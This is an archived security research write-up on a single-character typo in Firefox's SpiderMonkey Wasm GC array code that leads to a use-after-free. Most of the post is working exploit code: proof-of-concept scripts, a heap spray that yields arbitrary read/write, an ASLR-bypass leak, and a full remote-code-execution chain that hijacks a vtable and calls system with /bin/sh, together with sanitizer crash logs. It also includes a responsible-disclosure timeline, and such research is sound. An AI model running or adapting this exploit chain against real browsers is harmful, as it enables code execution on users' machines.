

How a single typo led to RCE in Firefox

How a single typo led to RCE in Firefox - Author not stated, kqx.io.

- Published: date not stated
- Original: <<https://kqx.io/post/firefox0day/>>
- Preserved from: <https://kqx.io/post/firefox0day/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

How a single typo led to RCE in Firefox – kqx

Introduction

While touring the **Firefox** source code to gather inspiration for a CTF challenge (Stay tuned for [TRX CTF 2026!](#)) I stumbled across quite an interesting, albeit simple, bug inside **SpiderMonkey**'s Wasm component.

I was able to exploit it to gain **Code Execution** inside the **Firefox renderer process** and reported my findings to **Mozilla**. Disclosure details are at the end of the post.

The guilty commit

The vulnerability was introduced by commit [fcc2f20e35ec](#), which was a refactoring of **Wasm GC** array metadata.

The bug is actually a single character typo, can you spot it?

```
+++ b/js/src/wasm/WasmGcObject.cpp
+   if (nursery.isInside(oolHeaderOld)) {
+       // Store the forwarding word, with bit 0 set.
+       oolHeaderOld->word = uintptr_t(oolHeaderNew) & 1;
+       oolHeaderNew->word = WasmArrayObject::OOLDataHeader_Magic;
+   }
```

As hinted by the comment, that **&** should actually have been a **|**. This causes the code to store 0 rather than the intended pointer with the LSB set (due to pointer alignment

`uintptr_t(oolHeaderNew) & 1` will always be equal to 0).

A simple mistake, no? How much damage can one little typo create?

Inline vs Out-of-line

Let's first take a detour to understand the structure of **Wasm GC** arrays, more specifically, the difference between **Inline** and **Out-of-line** ones.

From `js/src/wasm/WasmGcObject.h`:

```
// For zero-sized and small arrays, which are common, the data is stored  
// in-line (IL) immediately after the end of the WasmArrayObject.  
//  
// For arrays too large to represent IL, the WasmArrayObject points to an  
// out-of-line (OOL) storage area that is managed by js::gc::BufferAllocator,  
// which holds all of the elements. This OOL area is sometimes referred to  
// below as the "OOL block"; note however it consists of a one-word  
// OOLDataHeader followed by the actual array data.
```

```

// ----- 64-bit targets -----
//
// Layout is as follows:
//
// * Each `| name |` unit is an 8-aligned, 8-byte word,
//   except for the `| ..arrayData.. |` fields, which are 8-aligned and
//   a multiple of 8 bytes long (including zero).
//
// * "padding / #elems" means the 32-bit `numElements_` field and the 4 bytes
//   padding that precedes it.
//
// : 0    7 : 8    15 : 16    23 24 31 : 32    // byte offset
// : JS      : WasmGc : WasmArray      :        // class name
// : Object : Object : Object          :
// :         :         :               :
// |         | Super  | padding |         |           (IL case)
// | Shape*  | TypeVec | #elems | data* | ..arrayData.. |
//                                     | |   |
//                                     | |-->-/
//                                     |
//                                     | | header | ..arrayData.. | (OOL case)
//                                     |         |
//                                     \--->---->---/
//
// For the IL case, the array data area starts at offset 32, so is 8-aligned.
// The OOL allocation as a whole is 8-aligned, and the header is 1 word long,
// so the array data is also 8-aligned.

```

```

static inline bool isDataInline(uint8_t* data) {
    MOZ_ASSERT(data);
    MOZ_ASSERT(IsValidlyAlignedDataPointer(data));
    // Do oolDataHeaderFromDataPointer(data) without the assertions it has.
    const OOLDataHeader* header = (OOLDataHeader*)data;
    header--;
    uintptr_t headerWord = header->word;
    return (headerWord & 1) == 0;
}

```

The bug allows us to mistakenly tag an **OOL** array as **IL**. This will cause problems...

The vulnerable code path

The typo lies inside `WasmArrayObject::obj_moved()`, which gets called when the GC moves a Wasm array (and its OOL buffer) in these two cases:

- **Nursery -> Nursery**
- **Nursery -> Tenured.**

When an OOL array moves, the GC must leave a **forwarding pointer** in the old buffer's header so that **Ion (SpiderMonkey's JIT compiler)** can find the data's new location. To distinguish a forwarding pointer from a normal header, SpiderMonkey tags the address by setting its LSB to 1.

The bug sets the forwarding pointer to 0, inadvertently satisfying the condition for an array to be considered Inline (See `isDataInline` above).

It's also worth noting that this bug is only triggerable inside a Wasm function optimized by **Ion**, as this entire mechanism is not present in the Baseline compiler.

Getting a crash

Before proceeding with the exploitation, let's validate our findings. Here was my first POC:

```
// obj-fuzzbuild-release/dist/bin/js --fuzzing-safe repro_wasm.js

if (typeof libdir === "undefined") {
  var libdir = "js/src/jit-test/lib/";
}
load(libdir + "wasm.js");

const text = `(module
  (type $a (array (mut i8)))
  (import "env" "gc" (func $gc))
  (func (export "run") (param $iters i32) (result i32)
    (local $arr (ref $a))
    (local $i i32)
    (local $idx i32)
    (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))
    (loop $loop
      (local.set $idx (i32.and (local.get $i) (i32.const 127)))
      (array.set $a (local.get $arr) (local.get $idx) (i32.const 0x41))
      (call $gc)
      (array.set $a (local.get $arr) (local.get $idx) (i32.const 0x42))
      (local.set $i (i32.add (local.get $i) (i32.const 1)))
      (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))
    )
    (array.get_u $a (local.get $arr) (i32.const 127))
  )
)`;

const { run } = wasmEvalText(text, {
  env: {
    gc() {
      minorgc(true);
    },
  },
}).exports;

for (let i = 0; i < 1000; i++) {
  run(128);
}
```

- We're using the **wasm.js** library provided in the Firefox repository for simplicity.
- The Wasm module simply allocates an array of 128 elements which we populate with 0x41/0x42 while also triggering a minor GC at every step of the loop.
- We're warming up the Wasm function to optimize it.

Now let's build a JS shell with a sanitizer and check for a crash:

```

$ obj-fuzzbuild-release/dist/bin/js --fuzzing-safe repro_wasm.js
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 500217 edges
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==148301==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x00802d2d2d28 (pc
0x578ca410a9d2 bp 0x7fffb8e9c330 sp 0x7fffb8e9c2f0 T148301)
==148301==The signal is caused by a READ memory access.
/home/erge/firefox/obj-fuzzbuild-release/dist/bin/llvm-symbolizer: error: '[anon:js-
executable-memory]': No such file or directory
    #0 0x578ca410a9d2 in js::gc::HeaderWord::getAtomic() const
/home/erge/firefox/js/src/gc/Cell.h:101:12
    #1 0x578ca410a9d2 in js::gc::HeaderWord::flags() const
/home/erge/firefox/js/src/gc/Cell.h:117:36
    #2 0x578ca410a9d2 in js::gc::HeaderWord::isForwarded() const
/home/erge/firefox/js/src/gc/Cell.h:118:37
    #3 0x578ca410a9d2 in js::gc::Cell::isForwarded() const
/home/erge/firefox/js/src/gc/Cell.h:154:45
    #4 0x578ca410a9d2 in bool js::gc::IsForwarded<js::WasmArrayObject>
(js::WasmArrayObject const*) /home/erge/firefox/js/src/gc/Marking-inl.h:97:13
    #5 0x578ca410a9d2 in js::WasmArrayObject*
js::gc::MaybeForwarded<js::WasmArrayObject*>(js::WasmArrayObject* const&)
/home/erge/firefox/js/src/gc/Marking-inl.h:129:3
    #6 0x578ca410a9d2 in
js::wasm::Instance::updateFrameForMovingGC(js::wasm::WasmFrameIter const&, unsigned
char*, js::Nursery&) /home/erge/firefox/js/src/wasm/WasmInstance.cpp:3296:33
    #7 0x578ca375fa2b in js::jit::UpdateJitActivationsForMinorGC(JSRuntime*)
/home/erge/firefox/js/src/jit/JitFrames.cpp:1524:27
    #8 0x578ca2d46844 in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions,
JS::GCReason) /home/erge/firefox/js/src/gc/Nursery.cpp:1592:3
    #9 0x578ca2cf0155 in js::Nursery::collect(JS::GCOptions, JS::GCReason)
/home/erge/firefox/js/src/gc/Nursery.cpp:1417:31
    #10 0x578ca2ce6a8f in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason,
js::gcstats::PhaseKind) /home/erge/firefox/js/src/gc/GC.cpp:5076:13
    #11 0x578ca2cbf8bc in js::gc::GCRuntime::minorGC(JS::GCReason,
js::gcstats::PhaseKind) /home/erge/firefox/js/src/gc/GC.cpp:5047:3
    #12 0x578ca2864aca in JSContext::minorGC(JS::GCReason)
/home/erge/firefox/js/src/vm/JSContext-inl.h:288:17
    #13 0x578ca2864aca in MinorGC(JSContext*, unsigned int, JS::Value*)
/home/erge/firefox/js/src/builtin/TestingFunctions.cpp:808:7
    #14 0x0736ae8e144b ([anon:js-executable-memory]+0x144b)

==148301==Register values:
rax = 0x000000802d2d2d28  rbx = 0x00007d0955330c10  rcx = 0x00007d0955000000  rdx =
0x0000000000000020

```

```
rdi = 0x0000578ca4bbb9a0  rsi = 0x00007d0954f72060  rbp = 0x00007fffb8e9c330  rsp =  
0x00007fffb8e9c2f0  
r8 = 0x00007fffb8e9c2a8  r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 =  
0x0000000000000000  
r12 = 0x00007fffb8e9c890  r13 = 0x0000000000000001  r14 = 0x00007d0954f72060  r15 =  
0x000027b258900030  
UndefinedBehaviorSanitizer can not provide additional info.  
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/erge/firefox/js/src/gc/Cell.h:101:12 in  
js::gc::HeaderWord::getAtomic() const  
==148301==ABORTING
```

Nice! However this crash only happens due to extra GC poisoning the debug build performs to catch issues such as this one, if we run it again with `--setpref extra_gc_poisoning=false` we can no longer reproduce the crash.

Can we do better?

As any pwner will tell you, just spray some `0x41414141` s! (with a lot of trial and error...)


```
// obj-fuzzbuild-release/dist/bin/js --fuzzing-safe --setpref extra_gc_poisoning=false --  
wasm-compiler=optimizing repro_wasm_arb_RW.js
```

```
if (typeof libdir === "undefined") {  
  var libdir = "js/src/jit-test/lib/";  
}  
load(libdir + "wasm.js");
```

```
const save = [];  
function churn() {  
  for (let i = 0; i < 100; i++) {  
    const arr = new Uint32Array(256);  
    for (let j = 0; j < arr.length-1; j+=2) {  
      arr[j] = 0x41414141;  
      arr[j+1] = 0x004141;  
    }  
    save.push(arr);  
  }  
  return 0;  
}
```

```
const text = `(module  
  (type $a (array (mut i8)))  
  (import "env" "gc" (func $gc))  
  (import "env" "churn" (func $churn (result i32)))  
  (memory (export "mem") 1)  
  (func (export "run") (param $iters i32) (result i32)  
    (local $arr (ref $a))  
    (local $i i32)  
    (local $idx i32)  
    (local $val i32)  
    (local $read i32)  
    (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))  
    (loop $loop  
      (local.set $idx (i32.and (local.get $i) (i32.const 127)))  
      (local.set $val (i32.const 42))  
      (array.set $a (local.get $arr) (local.get $idx) (local.get $val))  
      (call $gc)  
      (drop (call $churn))  
      (local.set $read (array.get_u $a (local.get $arr) (local.get $idx)))  
      (i32.store8 (local.get $idx) (local.get $read))  
      (local.set $i (i32.add (local.get $i) (i32.const 1)))  
      (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))  
    )  
  )
```

```

    (i32.const 0)
  )
)`;

const { run, mem } = wasmEvalText(text, {
  env: {
    gc() {
      minorgc(true);
    },
    churn() {
      return churn();
    },
  },
}).exports;

run(128);

```

This is essentially the original POC with a few tweaks:

- `--setpref extra_gc_poisoning=false` to avoid the instant crash.
- `--wasm-compiler=optimizing` to instantly optimize the function.
- The `churn()` to spray some heap memory after calling the GC.
- We also save the array elements to a Wasm memory table (This will be useful in order to leak addresses later).

Let's try it:

```
$ obj-fuzzbuild-release/dist/bin/js --fuzzing-safe --setpref extra_gc_poisoning=false --
wasm-compiler=optimizing repro_wasm_arb_RW.js
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 500217 edges
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==149612==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x414141414140 (pc
0x602221828c9f bp 0x7ffe10427ce0 sp 0x7ffe10427cd0 T149612)
==149612==The signal is caused by a READ memory access.
/home/erge/firefox/obj-fuzzbuild-release/dist/bin/llvm-symbolizer: error: '[anon:js-
executable-memory]': No such file or directory
#0 0x602221828c9f in
js::WasmArrayObject::oolDataHeaderToDataPointer(js::WasmArrayObject::OOLDataHeader*)
/home/erge/firefox/js/src/wasm/WasmGcObject.h:469:5
#1 0x60222186eb13 in
js::wasm::Instance::updateFrameForMovingGC(js::wasm::WasmFrameIter const&, unsigned
char*, js::Nursery&) /home/erge/firefox/js/src/wasm/WasmInstance.cpp:3319:19
#2 0x602220ec3a2b in js::jit::UpdateJitActivationsForMinorGC(JSRuntime*)
/home/erge/firefox/js/src/jit/JitFrames.cpp:1524:27
#3 0x6022204aa844 in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions,
JS::GCReason) /home/erge/firefox/js/src/gc/Nursery.cpp:1592:3
#4 0x602220454155 in js::Nursery::collect(JS::GCOptions, JS::GCReason)
/home/erge/firefox/js/src/gc/Nursery.cpp:1417:31
#5 0x60222044aa8f in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason,
js::gcstats::PhaseKind) /home/erge/firefox/js/src/gc/GC.cpp:5076:13
#6 0x6022204238bc in js::gc::GCRuntime::minorGC(JS::GCReason, js::gcstats::PhaseKind)
/home/erge/firefox/js/src/gc/GC.cpp:5047:3
#7 0x60221ffc8aca in JSContext::minorGC(JS::GCReason)
/home/erge/firefox/js/src/vm/JSContext-inl.h:288:17
#8 0x60221ffc8aca in MinorGC(JSContext*, unsigned int, JS::Value*)
/home/erge/firefox/js/src/builtin/TestingFunctions.cpp:808:7
#9 0x60222109af0e in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int,
JS::Value*), js::CallReason, JS::CallArgs const&)
/home/erge/firefox/js/src/vm/Interpreter.cpp:490:13
#10 0x60222109a6f2 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&,
js::MaybeConstruct, js::CallReason) /home/erge/firefox/js/src/vm/Interpreter.cpp:586:12
#11 0x6022210af961 in js::CallFromStack(JSContext*, JS::CallArgs const&,
js::CallReason) /home/erge/firefox/js/src/vm/Interpreter.cpp:658:10
#12 0x6022210af961 in js::Interpret(JSContext*, js::RunState&)
/home/erge/firefox/js/src/vm/Interpreter.cpp:3272:16
#13 0x602221099822 in js::RunScript(JSContext*, js::RunState&)
/home/erge/firefox/js/src/vm/Interpreter.cpp:460:13
#14 0x60222109a61b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&,
js::MaybeConstruct, js::CallReason) /home/erge/firefox/js/src/vm/Interpreter.cpp:618:13
#15 0x60222109bdfe in js::Call(JSContext*, JS::Handle<JS::Value>,
```

```

JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>,
js::CallReason) /home/erge/firefox/js/src/vm/Interpreter.cpp:685:8
#16 0x60222184b8b2 in js::wasm::Instance::callImport(JSContext*, unsigned int,
unsigned int, unsigned long*) /home/erge/firefox/js/src/wasm/WasmInstance.cpp:354:8
#17 0x60222184d0b8 in js::wasm::Instance::callImport_general(js::wasm::Instance*,
int, int, unsigned long*) /home/erge/firefox/js/src/wasm/WasmInstance.cpp:414:20
#18 0x2c6b9083c21c ([anon:js-executable-memory]+0x21c)

==149612==Register values:
rax = 0x0000000000000000  rbx = 0x0000414141414140  rcx = 0x000079559e000000  rdx =
0x0000000000000020
rdi = 0x000060222230ab50  rsi = 0x000079559df6d060  rbp = 0x00007ffe10427ce0  rsp =
0x00007ffe10427cd0
r8 = 0x00007ffe10427ca8  r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 =
0x0000000000000000
r12 = 0x000006a8593051c8  r13 = 0x0000000000000001  r14 = 0x0000000000000000  r15 =
0x0000414141414140
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV
/home/erge/firefox/js/src/wasm/WasmGcObject.h:469:5 in
js::WasmArrayObject::oolDataHeaderToDataPointer(js::WasmArrayObject::OOLDataHeader*)
==149612==ABORTING

```



At this point I was pretty convinced this was exploitable, so I reported my findings to Mozilla before proceeding to complete a full RCE exploit and understanding the reason behind my lucky spray turning into arb R/W.

Root Cause

By inspecting the ASAN traces we can learn that the crash is happening inside `wasm::Instance::updateFrameForMovingGC`, let's go step by step and explain what happens:

-

A minor GC is triggered and 0 gets stored inside the forwarding pointer.

-

Ion calls `wasm::Instance::updateFrameForMovingGC` as it may need to update its stack frame if an array was relocated:

```
uint8_t* oldDataPointer = (uint8_t*)stackWords[i];
if (WasmArrayObject::isDataInline(oldDataPointer)) {
    // It's a pointer into the object itself. Figure out where the old
    // object is, ask where it got moved to, and fish out the updated
    // value from the new object.
    WasmArrayObject* oldArray =
        WasmArrayObject::fromInlineDataPointer(oldDataPointer);
    WasmArrayObject* newArray =
        (WasmArrayObject*)gc::MaybeForwarded(oldArray);
    if (newArray != oldArray) {
        stackWords[i] =
            uintptr_t(WasmArrayObject::addressOfInlineArrayData(newArray));
        MOZ_ASSERT(WasmArrayObject::isDataInline((uint8_t*)stackWords[i]));
    }
}
```

Since the forwarding pointer was set to 0, `isDataInline()` returns true and `gc::MaybeForwarded()` incorrectly assumes the array hasn't been moved, and returns `oldArray`. Consequently, the condition `newArray != oldArray` is never met and the stack frame is never updated, resulting in a full-blown **UAF** as Ion will keep using the old array, which was previously freed by the GC.

-

We spray the heap with the `churn()` function to reclaim that freed memory with an arbitrary value, e.g. `0x414141414141`.

-

`wasm::Instance::updateFrameForMovingGC` gets called once again but due to our heap spray the forwarding pointer is now `0x414141414141`, which gets untagged and interpreted as an OOL array with base `0x414141414140` giving us a fully **arbitrary R/W primitive**.

Exploit

With R/W primitives already achieved, the last missing piece to complete our exploit is a simple **address leak**.

ASLR bypass

We can just spray some objects containing pointers relative to the binary base and make them overlap with the UAF-ed array.

This was my POC in the original report:

```
// obj-fuzzbuild-release/dist/bin/js --fuzzing-safe --setpref extra_gc_poisoning=false --  
wasm-compiler=optimizing repro_aslr_bypass.js
```

```
if (typeof libdir === "undefined") {  
  var libdir = "js/src/jit-test/lib/";  
}  
load(libdir + "wasm.js");
```

```
function churn() {  
  for (let i = 0; i < 100; i++) {  
    new Uint8Array(256);  
  }  
  return 0;  
}
```

```
const text = `(module  
  (type $a (array (mut i8)))  
  (import "env" "gc" (func $gc))  
  (import "env" "churn" (func $churn (result i32)))  
  (memory (export "mem") 1)  
  (func (export "run") (param $iters i32) (result i32)  
    (local $arr (ref $a))  
    (local $i i32)  
    (local $idx i32)  
    (local $val i32)  
    (local $read i32)  
    (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))  
    (loop $loop  
      (local.set $idx (i32.and (local.get $i) (i32.const 127)))  
      (local.set $val (i32.const 42))  
      (array.set $a (local.get $arr) (local.get $idx) (local.get $val))  
      (call $gc)  
      (drop (call $churn))  
      (local.set $read (array.get_u $a (local.get $arr) (local.get $idx)))  
      (i32.store8 (local.get $idx) (local.get $read))  
      (local.set $i (i32.add (local.get $i) (i32.const 1)))  
      (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))  
    )  
    (i32.const 0)  
  )  
)`;
```

```
const { run, mem } = wasmEvalText(text, {  
  env: {
```

```

gc() {
  minorgc(true);
},
churn() {
  return churn();
},
},
}).exports;

run(128);
const view = new Uint8Array(mem.buffer, 0, 128);
let leak = "";
for (let i = 6; i >= 0; i--) {
  leak += view[i].toString(16);
}
print(leak);

```

- We save the array inside the Wasm memory table in order to retrieve our leak.
- The spray is very flaky, it may require some tweaking to reproduce correctly depending on the environment.

Running it:

```

$ obj-fuzzbuild-release/dist/bin/js --fuzzing-safe --setpref extra_gc_poisoning=false --
wasm-compiler=optimizing repro_aslr_bypass.js
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 500217 edges
5ee2949198b8

```

And as we can verify from GDB:

```

pwndbg> x/a 0x5d32e7a218b8
0x5d32e7a218b8 < ZL19emptyElementsHeader+16>: 0xffff980000000000
pwndbg> xinfo 0x5d32e7a218b8
Extended information for virtual address 0x5d32e7a218b8:

Containing mapping:
0x5d32e775a000 0x5d32e8f29000 r--p 17cf000 0 firefox/obj-fuzzbuild-release/dist/bin/js

```

The only thing left is to compile a release build JS shell and demonstrate our RCE :)

Arb W -> RCE

This was the RCE exploit I submitted to Mozilla:


```
//obj-releasebuild/dist/bin/js --fuzzing-safe --wasm-compiler=optimizing
repro_release_RCE.js
```

```
if (typeof libdir === "undefined") {
  var libdir = "js/src/jit-test/lib/";
}
load(libdir + "wasm.js");
```

```
function leak() {
  const pad = [];
  pad.push([]);
  function churn() {
    for (let i = 0; i < 100; i++) {
      new Uint8Array(256);
    }
    return 0;
  }
}
```

```
const text = `(module
  (type $a (array (mut i8)))
  (import "env" "gc" (func $gc))
  (import "env" "churn" (func $churn (result i32)))
  (memory (export "mem") 1)
  (func (export "run") (param $iters i32) (result i32)
    (local $arr (ref $a))
    (local $i i32)
    (local $idx i32)
    (local $val i32)
    (local $read i32)
    (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))
    (loop $loop
      (local.set $idx (i32.and (local.get $i) (i32.const 127)))
      (local.set $val (i32.const 42))
      (array.set $a (local.get $arr) (local.get $idx) (local.get $val))
      (call $gc)
      (drop (call $churn))
      (local.set $read (array.get_u $a (local.get $arr) (local.get $idx)))
      (i32.store8 (local.get $idx) (local.get $read))
      (local.set $i (i32.add (local.get $i) (i32.const 1)))
      (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))
    )
    (i32.const 0)
  )
);`;
```

```

const { run, mem } = wasmEvalText(text, {
  env: {
    gc() {
      minorgc(true);
    },
    churn() {
      return churn();
    },
  },
}).exports;

run(128);
const view = new Uint8Array(mem.buffer, 0, 128);
let base = "";
for (let i = 6; i >= 0; i--) {
  base += view[i].toString(16);
}
base = Number.parseInt(base, 16);

return base - 0x2c9bd8;
}

const base = leak();
print(`JS base @ ${base.toString(16)}`);

system = base + 0x17e5736; // we jump to a call to system to fix stack alignment
_ZL23gCommonCleanupFunctions = base + 0x2a0d200 - 0x40; //random vtable
arg = base + 0x2a0d858; //whatever is in rdi when we hijack rip
pivot = base + 0x26e38cd; //mov rdi, qword ptr [rdi + 0x188]; call qword ptr [rdi +
0x48];

print(`system: ${system.toString(16)}`);
print(`_ZL23gCommonCleanupFunctions: ${_ZL23gCommonCleanupFunctions.toString(16)}`);
print(`arg: ${arg.toString(16)}`);
print(`pivot: ${pivot.toString(16)}`);

const payload = new Uint8Array(128);

for (let j = 0; j < 16; j++) {
  for (let i = 0; i < 8; i++) {
    payload[j*8 + i] = Number((BigInt(pivot) >> BigInt(i * 8)) & 0xffn);
  }
}

```

```

eval(`
function write64(data) {
  const save = [];
  var low = ${_ZL23gCommonCleanupFunctions} & 0xffffffff;
  var high = (${_ZL23gCommonCleanupFunctions} / 0x100000000) & 0xffffffff;

  function churn() {
    for (let i = 0; i < 100; i++) {
      const arr = new Uint32Array(256);
      for (let j = 0; j < arr.length-1; j+=2) {
        arr[j] = low + 1;
        arr[j+1] = high;
      }
      save.push(arr);
    }
    return 0;
  }

  const text = `(module
(type $a (array (mut i8)))
(import "env" "gc" (func $gc))
(import "env" "churn" (func $churn (result i32)))
(memory (export "mem") 1)
(func (export "run") (param $iters i32) (result i32)
  (local $arr (ref $a))
  (local $i i32)
  (local $idx i32)
  (local $val i32)
  (local $read i32)
  (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))
  (loop $loop
    (local.set $idx (i32.and (local.get $i) (i32.const 127)))
    (local.set $val (i32.load8_u (local.get $idx)))
    (array.set $a (local.get $arr) (local.get $idx) (local.get $val))
    (call $gc)
    (drop (call $churn))
    (local.set $i (i32.add (local.get $i) (i32.const 1)))
    (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))
  )
  (i32.const 0)
)
)\`;

```

```

const { run, mem } = wasmEvalText(text, {
  env: {
    gc() {
      minorgc(true);
    },
    churn() {
      return churn();
    },
  },
}).exports;

const view = new Uint8Array(mem.buffer, 0, 128);
for (let i = 0; i < 128; i++) {
  view[i] = data[i];
}
run(128);
}
`);

write64(payload);

eval(`
function write64(data) {
  const save = [];
  var low = ${arg} & 0xffffffff;
  var high = (${arg} / 0x100000000) & 0xffffffff;

  function churn() {
    for (let i = 0; i < 1000; i++) {
      const arr = new Uint32Array(256);
      for (let j = 0; j < arr.length-1; j+=2) {
        arr[j] = low + 1;
        arr[j+1] = high;
      }
      save.push(arr);
    }
    return 0;
  }

  const text = `(module
(type $a (array (mut i8)))
(import "env" "gc" (func $gc))
(import "env" "churn" (func $churn (result i32)))
(memory (export "mem") 1)

```

```

(func (export "run") (param $iters i32) (result i32)
  (local $arr (ref $a))
  (local $i i32)
  (local $idx i32)
  (local $val i32)
  (local $read i32)
  (local.set $arr (array.new $a (i32.const 0) (i32.const 128)))
  (loop $loop
    (local.set $idx (i32.and (local.get $i) (i32.const 127)))
    (local.set $val (i32.load8_u (local.get $idx)))
    (array.set $a (local.get $arr) (local.get $idx) (local.get $val))
    (call $gc)
    (drop (call $churn))
    (local.set $i (i32.add (local.get $i) (i32.const 1)))
    (br_if $loop (i32.lt_u (local.get $i) (local.get $iters)))
  )
  (i32.const 0)
)
)\`;

```

```

const { run, mem } = wasmEvalText(text, {
  env: {
    gc() {
      minorgc(true);
    },
    churn() {
      return churn();
    },
  },
}).exports;

```

```

const view = new Uint8Array(mem.buffer, 0, 128);
for (let i = 0; i < 128; i++) {
  view[i] = data[i];
}
run(128);
}
`);

```

```

const cmd = `/bin/sh\x00`;
for (let j = 0; j < 16; j++) {
  for (let i = 0; i < cmd.length; i++) {
    payload[i+j*8] = cmd.charCodeAt(i);
  }
}

```

```

}

for (let i = 0; i < 8; i++) {
  payload[0x18 + i] = Number((BigInt(arg+0x30) >> BigInt(i * 8)) & 0xffn);
}
for (let i = 0; i < 8; i++) {
  payload[0x70 + i] = Number((BigInt(system) >> BigInt(i * 8)) & 0xffn);
}

write64(payload);

//enjoy ur shell

```

Some comments:

- As previously stated, the heap spray setup may require tweaks in order to reproduce correctly on different environments. Which is also the reason behind the very messy exploit :p
- To hijack **RIP** I overwrote a random vtable which gets called after the end of the script execution.
- We do a simple pivot to populate **RDI** with **/bin/sh**, since the function gets called with a lock as its first argument we cannot overwrite it directly, as we need the lock to hold 0 to proceed execution.
- We jump to a `call system` instruction instead of jumping directly to **system**, to fix the stack's alignment.

Here's the exploit in action, which we also teased on [Twitter](#):

Disclosure Timeline

- January 19, 2026 - The vulnerability was [introduced](#).
- February 3(?), 2026 - Another researcher independently reported [the same issue](#).
- February 3, 2026 - I filed [my report](#) within a 72h window from the researcher.
- February 9, 2026 - The vulnerability was fixed by commit [05ffcde](#).
- February 11, 2026 - A security bounty was granted and split between both reporters.

Since the vulnerability was caught early, it only landed inside **Firefox 149 Nightly** and thankfully didn't reach any release version.

Kudos to the Firefox security team for the fast turnaround, and a shout-out to the anonymous researcher for the narrow collision.

A technical writeup on a 0day vulnerability I reported inside SpiderMonkey, Firefox's JS engine

By Erge, 2026-02-04

On this page:

Archived from <https://kqx.io/post/firefox0day/>. Rendered offline from the local Markdown copy.